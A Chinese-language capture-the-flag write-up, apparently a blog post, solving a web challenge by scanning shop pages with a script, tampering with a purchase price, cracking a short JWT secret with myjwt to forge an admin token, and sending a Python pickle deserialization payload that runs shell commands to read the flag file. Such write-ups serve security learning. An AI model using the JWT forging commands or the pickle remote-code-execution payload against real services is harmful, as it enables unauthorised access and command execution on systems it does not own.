在我们进入这道题目的时候,可以看出是要求我们去获取lv6
为此我们直接写代码:
点击查看代码
import requests
target = "http://61.147.171.105:50909/shop?page=%d"
for i in range(500):
res = requests.get(target%(i)).text
if "lv6.png" in res:
print(target%(i))
break
我们访问这个页面就可以看到购买lv6的方式,我们会发现我们的资金是完全不够的,直接用bp拦截修改就行:
我们发现这里提示我们访问/b1g_m4mber这个目录
但是这个网站只能用admin权限,我们可以看到这边是有JWT,我们先解密一下:
这里我们需要修改一下这里的username,需要用myjwt工具爆破出盐值secret_key
点击查看代码
myjwt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InF3ZSJ9.U_RNAhBZvEMY1nwmWWeA3Vh50ghzJb0R7qV-uAS1V78 --crack "[A-Za-z0-9]{4}"
myjwt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InF3ZSJ9.U_RNAhBZvEMY1nwmWWeA3Vh50ghzJb0R7qV-uAS1V78 --add-payload "username=admin" --sign 1Kun
new JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
在这里我们可以看到/static/asd1f654e683wq/www.zip这个页面,可以下载这道题的源代码
我们发现Admin.py这个文件里面存在python反序列化漏洞,这里我们直接写脚本获得反序列化的代码(注意,这里需要python2的环境)
点击查看代码
import urllib2
import pickle
class A(object):
def __reduce__(self):
# a = "__import__('os').popen('ls').read()"
# a = "__import__('os').popen('ls').read()"
a = "__import__('os').popen('cat /flag.txt').read()"
return (eval,(a,))
print(urllib2.quote(pickle.dumps(A())))
这样我们就成功的获得了flag
标签:__,攻防,--,代码,JWT,bilibili,import,我们 From: https://www.cnblogs.com/ha1stur/p/18216929